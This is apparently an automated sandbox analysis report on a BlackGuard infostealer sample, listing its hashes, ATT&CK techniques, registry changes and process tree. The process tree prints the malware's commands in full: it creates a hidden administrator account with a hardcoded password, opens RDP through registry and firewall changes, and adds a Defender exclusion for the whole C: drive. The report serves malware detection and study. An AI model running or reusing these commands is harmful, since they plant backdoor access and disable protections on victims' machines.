blackguard | feb090fe2a018ba71f2db302a253998b66f9655a0d83f80db512604093aee9de

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
21-01-2023 19:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

6.9MB
MD5

146ffe4774086772bb8dc8af417d1bee
SHA1

a6ba1bfd326034d363f003def9600e4b3f8a3c99
SHA256

feb090fe2a018ba71f2db302a253998b66f9655a0d83f80db512604093aee9de
SHA512

332272905c5d85c226fcaa74ad60bf6bdd9544809b4dff4cedba42b42b8aa005c0cf7a9224a3c9070858a7311a640eedfeb1e5c19296b286e3ba5952584f99cb
SSDEEP

98304:5iyaKXumYgc4UC0td7fAYMQSlV4AnEjdGS1YVrsk9N8ivyhAdsPSQxNU3r:o5KmgfUCEvyVN8iNISeU7

Score

10^/10

blackguard collection evasion persistence spyware stealer

Malware Config

Extracted

Family

blackguard

https://ipwhois.app/xml/

Signatures

BlackGuard
Infostealer first seen in Late 2021.
stealer blackguard
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Executes dropped EXE 3 IoCs

pid	Process
4832	Inst.exe
4948	check.exe
4784	check_update.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Modify Existing Service

T1031

pid	Process
5052	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	check.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
2204	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	check_update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	Inst.exe

Loads dropped DLL 2 IoCs

pid	Process
5028	file.exe
3400	svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdruEWyfSH = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\file.exe\""	file.exe

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	check.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	check.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	check.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	check.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
5028	file.exe
3400	svchost.exe
3400	svchost.exe
3400	svchost.exe
3400	svchost.exe
4388	powershell.exe
4388	powershell.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5028	file.exe
Token: SeDebugPrivilege	4948	check.exe
Token: SeAuditPrivilege	3400	svchost.exe
Token: SeIncreaseQuotaPrivilege	904	WMIC.exe
Token: SeSecurityPrivilege	904	WMIC.exe
Token: SeTakeOwnershipPrivilege	904	WMIC.exe
Token: SeLoadDriverPrivilege	904	WMIC.exe
Token: SeSystemProfilePrivilege	904	WMIC.exe
Token: SeSystemtimePrivilege	904	WMIC.exe
Token: SeProfSingleProcessPrivilege	904	WMIC.exe
Token: SeIncBasePriorityPrivilege	904	WMIC.exe
Token: SeCreatePagefilePrivilege	904	WMIC.exe
Token: SeBackupPrivilege	904	WMIC.exe
Token: SeRestorePrivilege	904	WMIC.exe
Token: SeShutdownPrivilege	904	WMIC.exe
Token: SeDebugPrivilege	904	WMIC.exe
Token: SeSystemEnvironmentPrivilege	904	WMIC.exe
Token: SeRemoteShutdownPrivilege	904	WMIC.exe
Token: SeUndockPrivilege	904	WMIC.exe
Token: SeManageVolumePrivilege	904	WMIC.exe
Token: 33	904	WMIC.exe
Token: 34	904	WMIC.exe
Token: 35	904	WMIC.exe
Token: 36	904	WMIC.exe
Token: SeIncreaseQuotaPrivilege	904	WMIC.exe
Token: SeSecurityPrivilege	904	WMIC.exe
Token: SeTakeOwnershipPrivilege	904	WMIC.exe
Token: SeLoadDriverPrivilege	904	WMIC.exe
Token: SeSystemProfilePrivilege	904	WMIC.exe
Token: SeSystemtimePrivilege	904	WMIC.exe
Token: SeProfSingleProcessPrivilege	904	WMIC.exe
Token: SeIncBasePriorityPrivilege	904	WMIC.exe
Token: SeCreatePagefilePrivilege	904	WMIC.exe
Token: SeBackupPrivilege	904	WMIC.exe
Token: SeRestorePrivilege	904	WMIC.exe
Token: SeShutdownPrivilege	904	WMIC.exe
Token: SeDebugPrivilege	904	WMIC.exe
Token: SeSystemEnvironmentPrivilege	904	WMIC.exe
Token: SeRemoteShutdownPrivilege	904	WMIC.exe
Token: SeUndockPrivilege	904	WMIC.exe
Token: SeManageVolumePrivilege	904	WMIC.exe
Token: 33	904	WMIC.exe
Token: 34	904	WMIC.exe
Token: 35	904	WMIC.exe
Token: 36	904	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1340	WMIC.exe
Token: SeSecurityPrivilege	1340	WMIC.exe
Token: SeTakeOwnershipPrivilege	1340	WMIC.exe
Token: SeLoadDriverPrivilege	1340	WMIC.exe
Token: SeSystemProfilePrivilege	1340	WMIC.exe
Token: SeSystemtimePrivilege	1340	WMIC.exe
Token: SeProfSingleProcessPrivilege	1340	WMIC.exe
Token: SeIncBasePriorityPrivilege	1340	WMIC.exe
Token: SeCreatePagefilePrivilege	1340	WMIC.exe
Token: SeBackupPrivilege	1340	WMIC.exe
Token: SeRestorePrivilege	1340	WMIC.exe
Token: SeShutdownPrivilege	1340	WMIC.exe
Token: SeDebugPrivilege	1340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1340	WMIC.exe
Token: SeRemoteShutdownPrivilege	1340	WMIC.exe
Token: SeUndockPrivilege	1340	WMIC.exe
Token: SeManageVolumePrivilege	1340	WMIC.exe
Token: 33	1340	WMIC.exe
Token: 34	1340	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4948	check.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 4832	5028	file.exe	87
PID 5028 wrote to memory of 4832	5028	file.exe	87
PID 5028 wrote to memory of 4832	5028	file.exe	87
PID 4832 wrote to memory of 4948	4832	Inst.exe	89
PID 4832 wrote to memory of 4948	4832	Inst.exe	89
PID 4832 wrote to memory of 4948	4832	Inst.exe	89
PID 4948 wrote to memory of 5052	4948	check.exe	94
PID 4948 wrote to memory of 5052	4948	check.exe	94
PID 4832 wrote to memory of 4784	4832	Inst.exe	95
PID 4832 wrote to memory of 4784	4832	Inst.exe	95
PID 4784 wrote to memory of 4544	4784	check_update.exe	96
PID 4784 wrote to memory of 4544	4784	check_update.exe	96
PID 4544 wrote to memory of 2432	4544	cmd.exe	98
PID 4544 wrote to memory of 2432	4544	cmd.exe	98
PID 2432 wrote to memory of 904	2432	cmd.exe	100
PID 2432 wrote to memory of 904	2432	cmd.exe	100
PID 2432 wrote to memory of 2752	2432	cmd.exe	99
PID 2432 wrote to memory of 2752	2432	cmd.exe	99
PID 4544 wrote to memory of 1640	4544	cmd.exe	101
PID 4544 wrote to memory of 1640	4544	cmd.exe	101
PID 1640 wrote to memory of 1808	1640	net.exe	102
PID 1640 wrote to memory of 1808	1640	net.exe	102
PID 4544 wrote to memory of 2256	4544	cmd.exe	103
PID 4544 wrote to memory of 2256	4544	cmd.exe	103
PID 2256 wrote to memory of 3524	2256	net.exe	104
PID 2256 wrote to memory of 3524	2256	net.exe	104
PID 4544 wrote to memory of 3640	4544	cmd.exe	105
PID 4544 wrote to memory of 3640	4544	cmd.exe	105
PID 3640 wrote to memory of 1340	3640	cmd.exe	106
PID 3640 wrote to memory of 1340	3640	cmd.exe	106
PID 3640 wrote to memory of 4920	3640	cmd.exe	107
PID 3640 wrote to memory of 4920	3640	cmd.exe	107
PID 4544 wrote to memory of 4320	4544	cmd.exe	108
PID 4544 wrote to memory of 4320	4544	cmd.exe	108
PID 4320 wrote to memory of 3620	4320	net.exe	109
PID 4320 wrote to memory of 3620	4320	net.exe	109
PID 4544 wrote to memory of 3404	4544	cmd.exe	110
PID 4544 wrote to memory of 3404	4544	cmd.exe	110
PID 3404 wrote to memory of 3648	3404	net.exe	111
PID 3404 wrote to memory of 3648	3404	net.exe	111
PID 4544 wrote to memory of 3220	4544	cmd.exe	112
PID 4544 wrote to memory of 3220	4544	cmd.exe	112
PID 4544 wrote to memory of 1124	4544	cmd.exe	113
PID 4544 wrote to memory of 1124	4544	cmd.exe	113
PID 4544 wrote to memory of 1976	4544	cmd.exe	114
PID 4544 wrote to memory of 1976	4544	cmd.exe	114
PID 4544 wrote to memory of 2624	4544	cmd.exe	115
PID 4544 wrote to memory of 2624	4544	cmd.exe	115
PID 4544 wrote to memory of 4128	4544	cmd.exe	116
PID 4544 wrote to memory of 4128	4544	cmd.exe	116
PID 4544 wrote to memory of 4456	4544	cmd.exe	117
PID 4544 wrote to memory of 4456	4544	cmd.exe	117
PID 4544 wrote to memory of 2204	4544	cmd.exe	118
PID 4544 wrote to memory of 2204	4544	cmd.exe	118
PID 4544 wrote to memory of 2312	4544	cmd.exe	119
PID 4544 wrote to memory of 2312	4544	cmd.exe	119
PID 4544 wrote to memory of 4388	4544	cmd.exe	120
PID 4544 wrote to memory of 4388	4544	cmd.exe	120

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2204	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:5028
- C:\Users\Admin\AppData\Local\Temp\Inst.exe
  "C:\Users\Admin\AppData\Local\Temp\Inst.exe" x -pBlackTeam000111000111!
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Users\Admin\AppData\Local\Temp\check.exe
    "C:\Users\Admin\AppData\Local\Temp\check.exe" -i
    3⤵
    - Executes dropped EXE
    - Sets DLL path for service in the registry
    - Modifies WinLogon
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
      4⤵
      Modifies Windows Firewall
      PID:5052
- - C:\Users\Admin\AppData\Local\Temp\check_update.exe
    "C:\Users\Admin\AppData\Local\Temp\check_update.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Upgrade.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4544
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2432
      - C:\Windows\system32\find.exe
        
        Find "="
        6⤵
        
        PID:2752
      - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:904
    - - C:\Windows\system32\net.exe
        
        net user xblackArgus xtrinity3301 /add /active:"yes" /expires:"never" /passwordchg:"NO"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1640
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user xblackArgus xtrinity3301 /add /active:"yes" /expires:"never" /passwordchg:"NO"
        6⤵
        
        PID:1808
    - - C:\Windows\system32\net.exe
        
        net localgroup Administrators xblackArgus /add
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2256
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators xblackArgus /add
        6⤵
        
        PID:3524
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3640
      - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1340
      - C:\Windows\system32\find.exe
        
        Find "="
        6⤵
        
        PID:4920
    - - C:\Windows\system32\net.exe
        
        net localgroup "Remote Desktop Users" xblackArgus /add
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4320
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" xblackArgus /add
        6⤵
        
        PID:3620
    - - C:\Windows\system32\net.exe
        
        net accounts /forcelogoff:no /maxpwage:unlimited
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3404
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
        6⤵
        
        PID:3648
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        5⤵
        
        PID:3220
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
        5⤵
        
        PID:1124
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
        5⤵
        
        PID:1976
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
        5⤵
        
        PID:2624
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
        5⤵
        
        PID:4128
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v xblackArgus /t REG_DWORD /d 0x0 /f
        5⤵
        
        PID:4456
    - - C:\Windows\system32\attrib.exe
        
        attrib C:\users\xblackArgus +r +a +s +h
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2204
    - - C:\Windows\system32\cacls.exe
        
        "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
        5⤵
        
        PID:2312
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command Add-MpPreference -ExclusionPath C:\
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:2156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\RDP Wrapper\rdpwrap.dll

Filesize
114KB

MD5
461ade40b800ae80a40985594e1ac236

SHA1
b3892eef846c044a2b0785d54a432b3e93a968c8

SHA256
798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

SHA512
421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

Download Submit
C:\Users\Admin\AppData\Local\Temp\Inst.exe

Filesize
944KB

MD5
748db7ac9ccf4c4e42061a815c1f51bc

SHA1
bcec245408baf570812c6103867c808133f9a575

SHA256
c103498f73546b5f802a9bd42c7d97819034cc854d619298338d160c6273cce8

SHA512
1b051e5604482c04b073e933a36b6f8c41a50d15f079536959521fd3058e8d9ef1a5c613553509323dd65a2ce51bb72e639bf9beabd4cc0a1fa4fbfdeaf8ae2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Inst.exe

Filesize
944KB

MD5
748db7ac9ccf4c4e42061a815c1f51bc

SHA1
bcec245408baf570812c6103867c808133f9a575

SHA256
c103498f73546b5f802a9bd42c7d97819034cc854d619298338d160c6273cce8

SHA512
1b051e5604482c04b073e933a36b6f8c41a50d15f079536959521fd3058e8d9ef1a5c613553509323dd65a2ce51bb72e639bf9beabd4cc0a1fa4fbfdeaf8ae2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Upgrade.bat

Filesize
2KB

MD5
8281beda1f129589fd4e2e9b15885f4c

SHA1
570fa137599993baf6e733a48eec21048c3c3e10

SHA256
ac933c75e70d33b91e46f717d4437c8b1d4fd89990e2f6d271559756189741b7

SHA512
363b28aa98ccec158201004e6653167cfe1ea703e4132b12456e725f62dcf9ddc450f39da18428628c405738c396135287433b5590cf8ca18830f6510a4fe20c

Download Submit
C:\Users\Admin\AppData\Local\Temp\check.exe

Filesize
1.4MB

MD5
3288c284561055044c489567fd630ac2

SHA1
11ffeabbe42159e1365aa82463d8690c845ce7b7

SHA256
ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

SHA512
c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

Download Submit
C:\Users\Admin\AppData\Local\Temp\check.exe

Filesize
1.4MB

MD5
3288c284561055044c489567fd630ac2

SHA1
11ffeabbe42159e1365aa82463d8690c845ce7b7

SHA256
ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

SHA512
c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

Download Submit
C:\Users\Admin\AppData\Local\Temp\check_update.exe

Filesize
13KB

MD5
d03fb817cf73c22ad37e47b1509ea519

SHA1
865d238b7815a06542909a2eb57575d6f8d4bffc

SHA256
efbd601add0c1704600c59595ba5f04a94202106a568b75a52b86af1b65ecac4

SHA512
864d7762e55568bf4d846a1c4389406218d78cfb19ca9ed11f1330a4cbccd87eda3e7fa3bcdb754de50a5447e88f9eca36375b45a80cd9323369e023a2b74980

Download Submit
C:\Users\Admin\AppData\Local\Temp\check_update.exe

Filesize
13KB

MD5
d03fb817cf73c22ad37e47b1509ea519

SHA1
865d238b7815a06542909a2eb57575d6f8d4bffc

SHA256
efbd601add0c1704600c59595ba5f04a94202106a568b75a52b86af1b65ecac4

SHA512
864d7762e55568bf4d846a1c4389406218d78cfb19ca9ed11f1330a4cbccd87eda3e7fa3bcdb754de50a5447e88f9eca36375b45a80cd9323369e023a2b74980

Download Submit
C:\Users\Admin\AppData\Local\Temp\rdpwrap.ini

Filesize
325KB

MD5
978614ba750e0bede19be09885076cb1

SHA1
8ac61f5a3c37adff67c6a71a3adea5f4ddba0e63

SHA256
39e76f6ab9fde606bbb277202e0af7cfe6e419a22936da7f3269969b8fb9dcd4

SHA512
846ac9df5838f85a9cdc36edffb599144dd84e3ce0996a1471ca9ae10c88bbfe9de02b7b42664eb2559f3a87cf3263c87e0a6050f08150346cc5294c65d527bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\x64\SQLite.Interop.dll

Filesize
1.7MB

MD5
56a504a34d2cfbfc7eaa2b68e34af8ad

SHA1
426b48b0f3b691e3bb29f465aed9b936f29fc8cc

SHA256
9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961

SHA512
170c3645083d869e2368ee16325d7edaeba2d8f1d3d4a6a1054cfdd8616e03073772eeae30c8f79a93173825f83891e7b0e4fd89ef416808359f715a641747d7

Download Submit
\??\c:\program files\rdp wrapper\rdpwrap.dll

Filesize
114KB

MD5
461ade40b800ae80a40985594e1ac236

SHA1
b3892eef846c044a2b0785d54a432b3e93a968c8

SHA256
798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

SHA512
421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

Download Submit
\??\c:\program files\rdp wrapper\rdpwrap.ini

Filesize
338KB

MD5
f10fc43d60c6a5c2535c838b4e74f981

SHA1
821f61300c5ece44c740d1b507737845b9896f43

SHA256
cf95d896468d266e403b6ba60b299a78b7901f320a74b7103ef918bfc407c8fb

SHA512
9f9a304a7af6ea1dc2806d162033c9649746a0f5345e2e807b3a10f86cb378ebe7580580a31ca5534504c19bef8cac851d171e5d037f80da4fa789f89271fcf9

Download Submit
memory/4388-183-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/4388-181-0x000002627F8B0000-0x000002627F8D2000-memory.dmp

Filesize
136KB

Download
memory/4388-182-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/4784-154-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/4784-153-0x0000000000540000-0x000000000054A000-memory.dmp

Filesize
40KB

Download
memory/4784-156-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/5028-133-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/5028-134-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/5028-135-0x000002419EC30000-0x000002419EDF2000-memory.dmp

Filesize
1.8MB

Download
memory/5028-137-0x000002419EB60000-0x000002419EB9A000-memory.dmp

Filesize
232KB

Download
memory/5028-132-0x00000241830B0000-0x0000024183792000-memory.dmp

Filesize
6.9MB

Download
memory/5028-138-0x000002419EE00000-0x000002419EE76000-memory.dmp

Filesize
472KB

Download